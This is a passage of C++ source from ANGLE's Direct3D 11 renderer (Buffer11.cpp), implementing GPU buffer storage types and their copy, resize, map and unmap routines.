                        });\n            ASSERT(iter->second.storage != newStorage);\n            ASSERT(mStructuredBufferStorageAdditionalSize >= iter->second.storage->getSize());\n            mStructuredBufferStorageAdditionalSize -= iter->second.storage->getSize();\n            SafeDelete(iter->second.storage);\n            mStructuredBufferRangeStoragesCache.erase(iter);\n        }\n        ANGLE_TRY(\n            structuredBufferStorage->resizeStructuredBuffer(context, size, structureByteStride));\n        mStructuredBufferStorageAdditionalSize += sizeDelta;\n        // We don't copy the old data when resizing the structured buffer because the data may be\n        // out-of-date therefore we reset the data revision and let updateBufferStorage() handle the\n        // copy.\n        newStorage->setDataRevision(0);\n    }\n    ANGLE_TRY(updateBufferStorage(context, newStorage, offset, static_cast<size_t>(size)));\n    ANGLE_TRY(garbageCollection(context, BUFFER_USAGE_STRUCTURED));\n    ANGLE_TRY(structuredBufferStorage->getStructuredBufferRangeSRV(context, offset, size,\n                                                                   structureByteStride, srvOut));\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::updateBufferStorage(const gl::Context *context,\n                                            BufferStorage *storage,\n                                            size_t sourceOffset,\n                                            size_t storageSize)\n{\n    BufferStorage *latestBuffer = nullptr;\n    ANGLE_TRY(getLatestBufferStorage(context, &latestBuffer));\n    ASSERT(storage);\n    if (!latestBuffer)\n    {\n        onStorageUpdate(storage);\n        return angle::Result::Continue;\n    }\n    if (latestBuffer->getDataRevision() <= storage->getDataRevision())\n    {\n        return angle::Result::Continue;\n    }\n    // Copy through a staging buffer if we're copying from or to a non-staging, mappable\n    // buffer storage. This is because we can't map a GPU buffer, and copy CPU\n    // data directly. If we're already using a staging buffer we're fine.\n    if (latestBuffer->getUsage() != BUFFER_USAGE_STAGING &&\n        storage->getUsage() != BUFFER_USAGE_STAGING &&\n        (!latestBuffer->isCPUAccessible(GL_MAP_READ_BIT) ||\n         !storage->isCPUAccessible(GL_MAP_WRITE_BIT)))\n    {\n        NativeStorage *stagingBuffer = nullptr;\n        ANGLE_TRY(getStagingStorage(context, &stagingBuffer));\n        CopyResult copyResult = CopyResult::NOT_RECREATED;\n        ANGLE_TRY(stagingBuffer->copyFromStorage(context, latestBuffer, 0, latestBuffer->getSize(),\n                                                 0, &copyResult));\n        onCopyStorage(stagingBuffer, latestBuffer);\n        latestBuffer = stagingBuffer;\n    }\n    CopyResult copyResult = CopyResult::NOT_RECREATED;\n    ANGLE_TRY(\n        storage->copyFromStorage(context, latestBuffer, sourceOffset, storageSize, 0, &copyResult));\n    // If the D3D buffer has been recreated, we should update our serial.\n    if (copyResult == CopyResult::RECREATED)\n    {\n        updateSerial();\n    }\n    onCopyStorage(storage, latestBuffer);\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::getLatestBufferStorage(const gl::Context *context,\n                                               Buffer11::BufferStorage **storageOut) const\n{\n    // resize buffer\n    if (mLatestBufferStorage && mLatestBufferStorage->getSize() < mSize)\n    {\n        ANGLE_TRY(mLatestBufferStorage->resize(context, mSize, true));\n    }\n    *storageOut = mLatestBufferStorage;\n    return angle::Result::Continue;\n}\ntemplate <typename StorageOutT>\nangle::Result Buffer11::getStagingStorage(const gl::Context *context, StorageOutT **storageOut)\n{\n    return getBufferStorage(context, BUFFER_USAGE_STAGING, storageOut);\n}\nsize_t Buffer11::getSize() const\n{\n    return mSize;\n}\nbool Buffer11::supportsDirectBinding() const\n{\n    // Do not support direct buffers for dynamic data. The streaming buffer\n    // offers better performance for data which changes every frame.\n    return (mUsage == D3DBufferUsage::STATIC);\n}\nvoid Buffer11::initializeStaticData(const gl::Context *context)\n{\n    BufferD3D::initializeStaticData(context);\n    onStateChange(angle::SubjectMessage::SubjectChanged);\n}\nvoid Buffer11::invalidateStaticData(const gl::Context *context)\n{\n    BufferD3D::invalidateStaticData(context);\n    onStateChange(angle::SubjectMessage::SubjectChanged);\n}\nvoid Buffer11::onCopyStorage(BufferStorage *dest, BufferStorage *source)\n{\n    ASSERT(source && mLatestBufferStorage);\n    dest->setDataRevision(source->getDataRevision());\n    // Only update the latest buffer storage if our usage index is lower. See comment in header.\n    if (dest->getUsage() < mLatestBufferStorage->getUsage())\n    {\n        mLatestBufferStorage = dest;\n    }\n}\nvoid Buffer11::onStorageUpdate(BufferStorage *updatedStorage)\n{\n    updatedStorage->setDataRevision(updatedStorage->getDataRevision() + 1);\n    mLatestBufferStorage = updatedStorage;\n}\n// Buffer11::BufferStorage implementation\nBuffer11::BufferStorage::BufferStorage(Renderer11 *renderer, BufferUsage usage)\n    : mRenderer(renderer), mRevision(0), mUsage(usage), mBufferSize(0)\n{}\nangle::Result Buffer11::BufferStorage::setData(const gl::Context *context,\n                                               const uint8_t *data,\n                                               size_t offset,\n                                               size_t size)\n{\n    ASSERT(isCPUAccessible(GL_MAP_WRITE_BIT));\n    // Uniform storage can have a different internal size than the buffer size. Ensure we don't\n    // overflow.\n    size_t mapSize = std::min(size, mBufferSize - offset);\n    uint8_t *writePointer = nullptr;\n    ANGLE_TRY(map(context, offset, mapSize, GL_MAP_WRITE_BIT, &writePointer));\n    memcpy(writePointer, data, mapSize);\n    unmap();\n    return angle::Result::Continue;\n}\n// Buffer11::NativeStorage implementation\nBuffer11::NativeStorage::NativeStorage(Renderer11 *renderer,\n                                       BufferUsage usage,\n                                       const angle::Subject *onStorageChanged)\n    : BufferStorage(renderer, usage), mBuffer(), mOnStorageChanged(onStorageChanged)\n{}\nBuffer11::NativeStorage::~NativeStorage()\n{\n    clearSRVs();\n    clearUAVs();\n}\nbool Buffer11::NativeStorage::isCPUAccessible(GLbitfield access) const\n{\n    if ((access & GL_MAP_READ_BIT) != 0)\n    {\n        // Read is more exclusive than write mappability.\n        return (mUsage == BUFFER_USAGE_STAGING);\n    }\n    ASSERT((access & GL_MAP_WRITE_BIT) != 0);\n    return (mUsage == BUFFER_USAGE_STAGING || mUsage == BUFFER_USAGE_UNIFORM ||\n            mUsage == BUFFER_USAGE_STRUCTURED);\n}\n// Returns true if it recreates the direct buffer\nangle::Result Buffer11::NativeStorage::copyFromStorage(const gl::Context *context,\n                                                       BufferStorage *source,\n                                                       size_t sourceOffset,\n                                                       size_t size,\n                                                       size_t destOffset,\n                                                       CopyResult *resultOut)\n{\n    size_t requiredSize = destOffset + size;\n    // (Re)initialize D3D buffer if needed\n    bool preserveData = (destOffset > 0);\n    if (!mBuffer.valid() || mBufferSize < requiredSize)\n    {\n        ANGLE_TRY(resize(context, requiredSize, preserveData));\n        *resultOut = CopyResult::RECREATED;\n    }\n    else\n    {\n        *resultOut = CopyResult::NOT_RECREATED;\n    }\n    size_t clampedSize = size;\n    if (mUsage == BUFFER_USAGE_UNIFORM)\n    {\n        clampedSize = std::min(clampedSize, mBufferSize - destOffset);\n    }\n    if (clampedSize == 0)\n    {\n        return angle::Result::Continue;\n    }\n    if (source->getUsage() == BUFFER_USAGE_PIXEL_PACK ||\n        source->getUsage() == BUFFER_USAGE_SYSTEM_MEMORY)\n    {\n        ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT) && isCPUAccessible(GL_MAP_WRITE_BIT));\n        // Uniform buffers must be mapped with write/discard.\n        ASSERT(!(preserveData && mUsage == BUFFER_USAGE_UNIFORM));\n        uint8_t *sourcePointer = nullptr;\n        ANGLE_TRY(source->map(context, sourceOffset, clampedSize, GL_MAP_READ_BIT, &sourcePointer));\n        auto err = setData(context, sourcePointer, destOffset, clampedSize);\n        source->unmap();\n        ANGLE_TRY(err);\n    }\n    else\n    {\n        D3D11_BOX srcBox;\n        srcBox.left   = static_cast<unsigned int>(sourceOffset);\n        srcBox.right  = static_cast<unsigned int>(sourceOffset + clampedSize);\n        srcBox.top    = 0;\n        srcBox.bottom = 1;\n        srcBox.front  = 0;\n        srcBox.back   = 1;\n        const d3d11::Buffer *sourceBuffer = &GetAs<NativeStorage>(source)->getBuffer();\n        ID3D11DeviceContext *deviceContext = mRenderer->getDeviceContext();\n        deviceContext->CopySubresourceRegion(mBuffer.get(), 0,\n                                             static_cast<unsigned int>(destOffset), 0, 0,\n                                             sourceBuffer->get(), 0, &srcBox);\n    }\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::NativeStorage::resize(const gl::Context *context,\n                                              size_t size,\n                                              bool preserveData)\n{\n    if (size == 0)\n    {\n        mBuffer.reset();\n        mBufferSize = 0;\n        return angle::Result::Continue;\n    }\n    D3D11_BUFFER_DESC bufferDesc;\n    FillBufferDesc(&bufferDesc, mRenderer, mUsage, static_cast<unsigned int>(size));\n    d3d11::Buffer newBuffer;\n    ANGLE_TRY(\n        mRenderer->allocateResource(SafeGetImplAs<Context11>(context), bufferDesc, &newBuffer));\n    newBuffer.setDebugName(\"Buffer11::NativeStorage\");\n    if (mBuffer.valid() && preserveData)\n    {\n        // We don't call resize if the buffer is big enough already.\n        ASSERT(mBufferSize <= size);\n        D3D11_BOX srcBox;\n        srcBox.left   = 0;\n        srcBox.right  = static_cast<unsigned int>(mBufferSize);\n        srcBox.top    = 0;\n        srcBox.bottom = 1;\n        srcBox.front  = 0;\n        srcBox.back   = 1;\n        ID3D11DeviceContext *deviceContext = mRenderer->getDeviceContext();\n        deviceContext->CopySubresourceRegion(newBuffer.get(), 0, 0, 0, 0, mBuffer.get(), 0,\n                                             &srcBox);\n    }\n    // No longer need the old buffer\n    mBuffer = std::move(newBuffer);\n    mBufferSize = bufferDesc.ByteWidth;\n    // Free the SRVs.\n    clearSRVs();\n    // Free the UAVs.\n    clearUAVs();\n    // Notify that the storage has changed.\n    if (mOnStorageChanged)\n    {\n        mOnStorageChanged->onStateChange(angle::SubjectMessage::SubjectChanged);\n    }\n    return angle::Result::Continue;\n}\n// static\nvoid Buffer11::NativeStorage::FillBufferDesc(D3D11_BUFFER_DESC *bufferDesc,\n                                             Renderer11 *renderer,\n                                             BufferUsage usage,\n                                             unsigned int bufferSize)\n{\n    bufferDesc->ByteWidth           = bufferSize;\n    bufferDesc->MiscFlags           = 0;\n    bufferDesc->StructureByteStride = 0;\n    switch (usage)\n    {\n        case BUFFER_USAGE_STAGING:\n            bufferDesc->Usage          = D3D11_USAGE_STAGING;\n            bufferDesc->BindFlags      = 0;\n            bufferDesc->CPUAccessFlags = D3D11_CPU_ACCESS_READ | D3D11_CPU_ACCESS_WRITE;\n            break;\n        case BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK:\n            bufferDesc->Usage     = D3D11_USAGE_DEFAULT;\n            bufferDesc->BindFlags = D3D11_BIND_VERTEX_BUFFER;\n            if (renderer->isES3Capable())\n            {\n                bufferDesc->BindFlags |= D3D11_BIND_STREAM_OUTPUT;\n            }\n            bufferDesc->CPUAccessFlags = 0;\n            break;\n        case BUFFER_USAGE_INDEX:\n            bufferDesc->Usage          = D3D11_USAGE_DEFAULT;\n            bufferDesc->BindFlags      = D3D11_BIND_INDEX_BUFFER;\n            bufferDesc->CPUAccessFlags = 0;\n            break;\n        case BUFFER_USAGE_INDIRECT:\n            bufferDesc->MiscFlags      = D3D11_RESOURCE_MISC_DRAWINDIRECT_ARGS;\n            bufferDesc->Usage          = D3D11_USAGE_DEFAULT;\n            bufferDesc->BindFlags      = 0;\n            bufferDesc->CPUAccessFlags = 0;\n            break;\n        case BUFFER_USAGE_PIXEL_UNPACK:\n            bufferDesc->Usage          = D3D11_USAGE_DEFAULT;\n            bufferDesc->BindFlags      = D3D11_BIND_SHADER_RESOURCE;\n            bufferDesc->CPUAccessFlags = 0;\n            break;\n        case BUFFER_USAGE_UNIFORM:\n            bufferDesc->Usage          = D3D11_USAGE_DYNAMIC;\n            bufferDesc->BindFlags      = D3D11_BIND_CONSTANT_BUFFER;\n            bufferDesc->CPUAccessFlags = D3D11_CPU_ACCESS_WRITE;\n            // Constant buffers must be of a limited size, and aligned to 16 byte boundaries\n            // For our purposes we ignore any buffer data past the maximum constant buffer size\n            bufferDesc->ByteWidth = roundUp(bufferDesc->ByteWidth, 16u);\n            // Note: it seems that D3D11 allows larger buffers on some platforms, but not all.\n            // (Windows 10 seems to allow larger constant buffers, but not Windows 7)\n            if (!renderer->getRenderer11DeviceCaps().supportsConstantBufferOffsets)\n            {\n                bufferDesc->ByteWidth = std::min<UINT>(\n                    bufferDesc->ByteWidth,\n                    static_cast<UINT>(renderer->getNativeCaps().maxUniformBlockSize));\n            }\n            break;\n        case BUFFER_USAGE_RAW_UAV:\n            bufferDesc->MiscFlags      = D3D11_RESOURCE_MISC_BUFFER_ALLOW_RAW_VIEWS;\n            bufferDesc->BindFlags      = D3D11_BIND_UNORDERED_ACCESS;\n            bufferDesc->Usage          = D3D11_USAGE_DEFAULT;\n            bufferDesc->CPUAccessFlags = 0;\n            break;\n        default:\n            UNREACHABLE();\n    }\n}\nangle::Result Buffer11::NativeStorage::map(const gl::Context *context,\n                                           size_t offset,\n                                           size_t length,\n                                           GLbitfield access,\n                                           uint8_t **mapPointerOut)\n{\n    ASSERT(isCPUAccessible(access));\n    D3D11_MAPPED_SUBRESOURCE mappedResource;\n    D3D11_MAP d3dMapType = gl_d3d11::GetD3DMapTypeFromBits(mUsage, access);\n    UINT d3dMapFlag = ((access & GL_MAP_UNSYNCHRONIZED_BIT) != 0 ? D3D11_MAP_FLAG_DO_NOT_WAIT : 0);\n    ANGLE_TRY(\n        mRenderer->mapResource(context, mBuffer.get(), 0, d3dMapType, d3dMapFlag, &mappedResource));\n    ASSERT(mappedResource.pData);\n    *mapPointerOut = static_cast<uint8_t *>(mappedResource.pData) + offset;\n    return angle::Result::Continue;\n}\nvoid Buffer11::NativeStorage::unmap()\n{\n    ASSERT(isCPUAccessible(GL_MAP_WRITE_BIT) || isCPUAccessible(GL_MAP_READ_BIT));\n    ID3D11DeviceContext *context = mRenderer->getDeviceContext();\n    context->Unmap(mBuffer.get(), 0);\n}\nangle::Result Buffer11::NativeStorage::getSRVForFormat(const gl::Context *context,\n                                                       DXGI_FORMAT srvFormat,\n                                                       const d3d11::ShaderResourceView **srvOut)\n{\n    auto bufferSRVIt = mBufferResourceViews.find(srvFormat);\n    if (bufferSRVIt != mBufferResourceViews.end())\n    {\n        *srvOut = &bufferSRVIt->second;\n        return angle::Result::Continue;\n    }\n    const d3d11::DXGIFormatSize &dxgiFormatInfo = d3d11::GetDXGIFormatSizeInfo(srvFormat);\n    D3D11_SHADER_RESOURCE_VIEW_DESC bufferSRVDesc;\n    bufferSRVDesc.Buffer.ElementOffset = 0;\n    bufferSRVDesc.Buffer.ElementWidth  = static_cast<UINT>(mBufferSize) / dxgiFormatInfo.pixelBytes;\n    bufferSRVDesc.ViewDimension        = D3D11_SRV_DIMENSION_BUFFER;\n    bufferSRVDesc.Format               = srvFormat;\n    ANGLE_TRY(mRenderer->allocateResource(GetImplAs<Context11>(context), bufferSRVDesc,\n                                          mBuffer.get(), &mBufferResourceViews[srvFormat]));\n    *srvOut = &mBufferResourceViews[srvFormat];\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::NativeStorage::getRawUAV(const gl::Context *context,\n                                                 unsigned int offset,\n                                                 unsigned int size,\n                                                 d3d11::UnorderedAccessView **uavOut)\n{\n    ASSERT(offset + size <= mBufferSize);\n    auto bufferRawUAV = mBufferRawUAVs.find({offset, size});\n    if (bufferRawUAV != mBufferRawUAVs.end())\n    {\n        *uavOut = &bufferRawUAV->second;\n        return angle::Result::Continue;\n    }\n    D3D11_UNORDERED_ACCESS_VIEW_DESC bufferUAVDesc;\n    // DXGI_FORMAT_R32_TYPELESS uses 4 bytes per element\n    constexpr int kBytesToElement     = 4;\n    bufferUAVDesc.Buffer.FirstElement = offset / kBytesToElement;\n    bufferUAVDesc.Buffer.NumElements  = size / kBytesToElement;\n    bufferUAVDesc.Buffer.Flags        = D3D11_BUFFER_UAV_FLAG_RAW;\n    bufferUAVDesc.Format = DXGI_FORMAT_R32_TYPELESS;  // Format must be DXGI_FORMAT_R32_TYPELESS,\n                                                      // when creating Raw Unordered Access View\n    bufferUAVDesc.ViewDimension = D3D11_UAV_DIMENSION_BUFFER;\n    ANGLE_TRY(mRenderer->allocateResource(GetImplAs<Context11>(context), bufferUAVDesc,\n                                          mBuffer.get(), &mBufferRawUAVs[{offset, size}]));\n    *uavOut = &mBufferRawUAVs[{offset, size}];\n    return angle::Result::Continue;\n}\nvoid Buffer11::NativeStorage::clearSRVs()\n{\n    mBufferResourceViews.clear();\n}\nvoid Buffer11::NativeStorage::clearUAVs()\n{\n    mBufferRawUAVs.clear();\n}\nBuffer11::StructuredBufferStorage::StructuredBufferStorage(Renderer11 *renderer,\n                                                           BufferUsage usage,\n                                                           const angle::Subject *onStorageChanged)\n    : NativeStorage(renderer, usage, onStorageChanged), mStructuredBufferResourceView()\n{}\nBuffer11::StructuredBufferStorage::~StructuredBufferStorage()\n{\n    mStructuredBufferResourceView.reset();\n}\nangle::Result Buffer11::StructuredBufferStorage::resizeStructuredBuffer(\n    const gl::Context *context,\n    unsigned int size,\n    unsigned int structureByteStride)\n{\n    if (size == 0)\n    {\n        mBuffer.reset();\n        mBufferSize = 0;\n        return angle::Result::Continue;\n    }\n    D3D11_BUFFER_DESC bufferDesc;\n    bufferDesc.ByteWidth           = size;\n    bufferDesc.MiscFlags           = D3D11_RESOURCE_MISC_BUFFER_STRUCTURED;\n    bufferDesc.StructureByteStride = structureByteStride;\n    bufferDesc.Usage               = D3D11_USAGE_DYNAMIC;\n    bufferDesc.BindFlags           = D3D11_BIND_SHADER_RESOURCE;\n    bufferDesc.CPUAccessFlags      = D3D11_CPU_ACCESS_WRITE;\n    d3d11::Buffer newBuffer;\n    ANGLE_TRY(\n        mRenderer->allocateResource(SafeGetImplAs<Context11>(context), bufferDesc, &newBuffer));\n    newBuffer.setDebugName(\"Buffer11::StructuredBufferStorage\");\n    // No longer need the old buffer\n    mBuffer = std::move(newBuffer);\n    mBufferSize = static_cast<size_t>(bufferDesc.ByteWidth);\n    mStructuredBufferResourceView.reset();\n    // Notify that the storage has changed.\n    if (mOnStorageChanged)\n    {\n        mOnStorageChanged->onStateChange(angle::SubjectMessage::SubjectChanged);\n    }\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::StructuredBufferStorage::getStructuredBufferRangeSRV(\n    const gl::Context *context,\n    unsigned int offset,\n    unsigned int size,\n    unsigned int structureByteStride,\n    const d3d11::ShaderResourceView **srvOut)\n{\n    if (mStructuredBufferResourceView.valid())\n    {\n        *srvOut = &mStructuredBufferResourceView;\n        return angle::Result::Continue;\n    }\n    D3D11_SHADER_RESOURCE_VIEW_DESC bufferSRVDesc = {};\n    bufferSRVDesc.BufferEx.NumElements = structureByteStride == 0u ? 1 : size / structureByteStride;\n    bufferSRVDesc.BufferEx.FirstElement = 0;\n    bufferSRVDesc.BufferEx.Flags        = 0;\n    bufferSRVDesc.ViewDimension         = D3D11_SRV_DIMENSION_BUFFEREX;\n    bufferSRVDesc.Format                = DXGI_FORMAT_UNKNOWN;\n    ANGLE_TRY(mRenderer->allocateResource(GetImplAs<Context11>(context), bufferSRVDesc,\n                                          mBuffer.get(), &mStructuredBufferResourceView));\n    *srvOut = &mStructuredBufferResourceView;\n    return angle::Result::Continue;\n}\n// Buffer11::EmulatedIndexStorage implementation\nBuffer11::EmulatedIndexedStorage::EmulatedIndexedStorage(Renderer11 *renderer)\n    : BufferStorage(renderer, BUFFER_USAGE_EMULATED_INDEXED_VERTEX), mBuffer()\n{}\nBuffer11::EmulatedIndexedStorage::~EmulatedIndexedStorage() {}\nangle::Result Buffer11::EmulatedIndexedStorage::getBuffer(const gl::Context *context,\n                                                          SourceIndexData *indexInfo,\n                                                          const TranslatedAttribute &attribute,\n                                                          GLint startVertex,\n                                                          const d3d11::Buffer **bufferOut)\n{\n    Context11 *context11 = GetImplAs<Context11>(context);\n    // If a change in the indices applied from the last draw call is detected, then the emulated\n    // indexed buffer needs to be invalidated.  After invalidation, the change detected flag should\n    // be cleared to avoid unnecessary recreation of the buffer.\n    if (!mBuffer.valid() || indexInfo->srcIndicesChanged)\n    {\n        mBuffer.reset();\n        // Copy the source index data. This ensures that the lifetime of the indices pointer\n        // stays with this storage until the next time we invalidate.\n        size_t indicesDataSize = 0;\n        switch (indexInfo->srcIndexType)\n        {\n            case gl::DrawElementsType::UnsignedInt:\n                indicesDataSize = sizeof(GLuint) * indexInfo->srcCount;\n                break;\n            case gl::DrawElementsType::UnsignedShort:\n                indicesDataSize = sizeof(GLushort) * indexInfo->srcCount;\n                break;\n            case gl::DrawElementsType::UnsignedByte:\n                indicesDataSize = sizeof(GLubyte) * indexInfo->srcCount;\n                break;\n            default:\n                indicesDataSize = sizeof(GLushort) * indexInfo->srcCount;\n                break;\n        }\n        ANGLE_CHECK_GL_ALLOC(context11, mIndicesMemoryBuffer.resize(indicesDataSize));\n        memcpy(mIndicesMemoryBuffer.data(), indexInfo->srcIndices, indicesDataSize);\n        indexInfo->srcIndicesChanged = false;\n    }\n    if (!mBuffer.valid())\n    {\n        unsigned int offset = 0;\n        ANGLE_TRY(attribute.computeOffset(context, startVertex, &offset));\n        // Expand the memory storage upon request and cache the results.\n        unsigned int expandedDataSize =\n            static_cast<unsigned int>((indexInfo->srcCount * attribute.stride) + offset);\n        angle::MemoryBuffer expandedData;\n        ANGLE_CHECK_GL_ALLOC(context11, expandedData.resize(expandedDataSize));\n        // Clear the contents of the allocated buffer\n        ZeroMemory(expandedData.data(), expandedDataSize);\n        uint8_t *curr      = expandedData.data();\n        const uint8_t *ptr = static_cast<const uint8_t *>(indexInfo->srcIndices);\n        // Ensure that we start in the correct place for the emulated data copy operation to\n        // maintain offset behaviors.\n        curr += offset;\n        ReadIndexValueFunction readIndexValue = ReadIndexValueFromIndices<GLushort>;\n        switch (indexInfo->srcIndexType)\n        {\n            case gl::DrawElementsType::UnsignedInt:\n                readIndexValue = ReadIndexValueFromIndices<GLuint>;\n                break;\n            case gl::DrawElementsType::UnsignedShort:\n                readIndexValue = ReadIndexValueFromIndices<GLushort>;\n                break;\n            case gl::DrawElementsType::UnsignedByte:\n                readIndexValue = ReadIndexValueFromIndices<GLubyte>;\n                break;\n            default:\n                UNREACHABLE();\n                return angle::Result::Stop;\n        }\n        // Iterate over the cached index data and copy entries indicated into the emulated buffer.\n        for (GLuint i = 0; i < indexInfo->srcCount; i++)\n        {\n            GLuint idx = readIndexValue(ptr, i);\n            memcpy(curr, mMemoryBuffer.data() + (attribute.stride * idx), attribute.stride);\n            curr += attribute.stride;\n        }\n        // Finally, initialize the emulated indexed native storage object with the newly copied data\n        // and free the temporary buffers used.\n        D3D11_BUFFER_DESC bufferDesc;\n        bufferDesc.ByteWidth           = expandedDataSize;\n        bufferDesc.MiscFlags           = 0;\n        bufferDesc.StructureByteStride = 0;\n        bufferDesc.Usage               = D3D11_USAGE_DEFAULT;\n        bufferDesc.BindFlags           = D3D11_BIND_VERTEX_BUFFER;\n        bufferDesc.CPUAccessFlags      = 0;\n        D3D11_SUBRESOURCE_DATA subResourceData = {expandedData.data(), 0, 0};\n        ANGLE_TRY(mRenderer->allocateResource(GetImplAs<Context11>(context), bufferDesc,\n                                              &subResourceData, &mBuffer));\n        mBuffer.setDebugName(\"Buffer11::EmulatedIndexedStorage\");\n    }\n    *bufferOut = &mBuffer;\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::EmulatedIndexedStorage::copyFromStorage(const gl::Context *context,\n                                                                BufferStorage *source,\n                                                                size_t sourceOffset,\n                                                                size_t size,\n                                                                size_t destOffset,\n                                                                CopyResult *resultOut)\n{\n    ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT));\n    uint8_t *sourceData = nullptr;\n    ANGLE_TRY(source->map(context, sourceOffset, size, GL_MAP_READ_BIT, &sourceData));\n    ASSERT(destOffset + size <= mMemoryBuffer.size());\n    memcpy(mMemoryBuffer.data() + destOffset, sourceData, size);\n    source->unmap();\n    *resultOut = CopyResult::RECREATED;\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::EmulatedIndexedStorage::resize(const gl::Context *context,\n                                                       size_t size,\n                                                       bool preserveData)\n{\n    if (mMemoryBuffer.size() < size)\n    {\n        Context11 *context11 = GetImplAs<Context11>(context);\n        ANGLE_CHECK_GL_ALLOC(context11, mMemoryBuffer.resize(size));\n        mBufferSize = size;\n    }\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::EmulatedIndexedStorage::map(const gl::Context *context,\n                                                    size_t offset,\n                                                    size_t length,\n                                                    GLbitfield access,\n                                                    uint8_t **mapPointerOut)\n{\n    ASSERT(!mMemoryBuffer.empty() && offset + length <= mMemoryBuffer.size());\n    *mapPointerOut = mMemoryBuffer.data() + offset;\n    return angle::Result::Continue;\n}\nvoid Buffer11::EmulatedIndexedStorage::unmap()\n{\n    // No-op\n}\n// Buffer11::PackStorage implementation\nBuffer11::PackStorage::PackStorage(Renderer11 *renderer)\n    : BufferStorage(renderer, BUFFER_USAGE_PIXEL_PACK), mStagingTexture(), mDataModified(false)\n{}\nBuffer11::PackStorage::~PackStorage() {}\nangle::Result Buffer11::PackStorage::copyFromStorage(const gl::Context *context,\n                                                     BufferStorage *source,\n                                                     size_t sourceOffset,\n                                                     size_t size,\n                                                     size_t destOffset,\n                                                     CopyResult *resultOut)\n{\n    ANGLE_TRY(flushQueuedPackCommand(context));\n    // For all use cases of pack buffers, we must copy through a readable buffer.\n    ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT));\n    uint8_t *sourceData = nullptr;\n    ANGLE_TRY(source->map(context, sourceOffset, size, GL_MAP_READ_BIT, &sourceData));\n    ASSERT(destOffset + size <= mMemoryBuffer.size());\n    memcpy(mMemoryBuffer.data() + destOffset, sourceData, size);\n    source->unmap();\n    *resultOut = CopyResult::NOT_RECREATED;\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::PackStorage::resize(const gl::Context *context,\n                                            size_t size,\n                                            bool preserveData)\n{\n    if (size != mBufferSize)\n    {\n        Context11 *context11 = GetImplAs<Context11>(context);\n        ANGLE_CHECK_GL_ALLOC(context11, mMemoryBuffer.resize(size));\n        mBufferSize = size;\n    }\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::PackStorage::map(const gl::Context *context,\n                                         size_t offset,\n                                         size_t length,\n                                         GLbitfield access,\n                                         uint8_t **mapPointerOut)\n{\n    ASSERT(offset + length <= getSize());\n    // TODO: fast path\n    //  We might be able to optimize out one or more memcpy calls by detecting when\n    //  and if D3D packs the staging texture memory identically to how we would fill\n    //  the pack buffer according to the current pack state.\n    ANGLE_TRY(flushQueuedPackCommand(context));\n    mDataModified = (mDataModified || (access & GL_MAP_WRITE_BIT) != 0);\n    *mapPointerOut = mMemoryBuffer.data() + offset;\n    return angle::Result::Continue;\n}\nvoid Buffer11::PackStorage::unmap()\n{\n    // No-op\n}\nangle::Result Buffer11::PackStorage::packPixels(const gl::Context *context,\n                                                const gl::FramebufferAttachment &readAttachment,\n                                                const PackPixelsParams &params)\n{\n    ANGLE_TRY(flushQueuedPackCommand(context));\n    RenderTarget11 *renderTarget = nullptr;\n    ANGLE_TRY(readAttachment.getRenderTarget(context, 0, &renderTarget));\n    const TextureHelper11 &srcTexture = renderTarget->getTexture();\n    ASSERT(srcTexture.valid());\n    unsigned int srcSubresource = renderTarget->getSubresourceIndex();\n    mQueuedPackCommand.reset(new PackPixelsParams(params));\n    gl::Extents srcTextureSize(params.area.width, params.area.height, 1);\n    if (!mStagingTexture.get() || mStagingTexture.getFormat() != srcTexture.getFormat() ||\n        mStagingTexture.getExtents() != srcTextureSize)\n    {\n        ANGLE_TRY(mRenderer->createStagingTexture(context, srcTexture.getTextureType(),\n                                                  srcTexture.getFormatSet(), srcTextureSize,\n                                                  StagingAccess::READ, &mStagingTexture));\n    }\n    // ReadPixels from multisampled FBOs isn't supported in current GL\n    ASSERT(srcTexture.getSampleCount() <= 1);\n    ID3D11DeviceContext *immediateContext = mRenderer->getDeviceContext();\n    D3D11_BOX srcBox;\n    srcBox.left   = params.area.x;\n    srcBox.right  = params.area.x + params.area.width;\n    srcBox.top    = params.area.y;\n    srcBox.bottom = params.area.y + params.area.height;\n    // Select the correct layer from a 3D attachment\n    srcBox.front = 0;\n    if (mStagingTexture.is3D())\n    {\n        srcBox.front = static_cast<UINT>(readAttachment.layer());\n    }\n    srcBox.back = srcBox.front + 1;\n    // Asynchronous copy\n    immediateContext->CopySubresourceRegion(mStagingTexture.get(), 0, 0, 0, 0, srcTexture.get(),\n                                            srcSubresource, &srcBox);\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::PackStorage::flushQueuedPackCommand(const gl::Context *context)\n{\n    ASSERT(mMemoryBuffer.size() > 0);\n    if (mQueuedPackCommand)\n    {\n        ANGLE_TRY(mRenderer->packPixels(context, mStagingTexture, *mQueuedPackCommand,\n                                        mMemoryBuffer.data()));\n        mQueuedPackCommand.reset(nullptr);\n    }\n    return angle::Result::Continue;\n}\n// Buffer11::SystemMemoryStorage implementation\nBuffer11::SystemMemoryStorage::SystemMemoryStorage(Renderer11 *renderer)\n    : Buffer11::BufferStorage(renderer, BUFFER_USAGE_SYSTEM_MEMORY)\n{}\nangle::Result Buffer11::SystemMemoryStorage::copyFromStorage(const gl::Context *context,\n                                                             BufferStorage *source,\n                                                             size_t sourceOffset,\n                                                             size_t size,\n                                                             size_t destOffset,\n                                                             CopyResult *resultOut)\n{\n    ASSERT(source->isCPUAccessible(GL_MAP_READ_BIT));\n    uint8_t *sourceData = nullptr;\n    ANGLE_TRY(source->map(context, sourceOffset, size, GL_MAP_READ_BIT, &sourceData));\n    ASSERT(destOffset + size <= mSystemCopy.size());\n    memcpy(mSystemCopy.data() + destOffset, sourceData, size);\n    source->unmap();\n    *resultOut = CopyResult::RECREATED;\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::SystemMemoryStorage::resize(const gl::Context *context,\n                                                    size_t size,\n                                                    bool 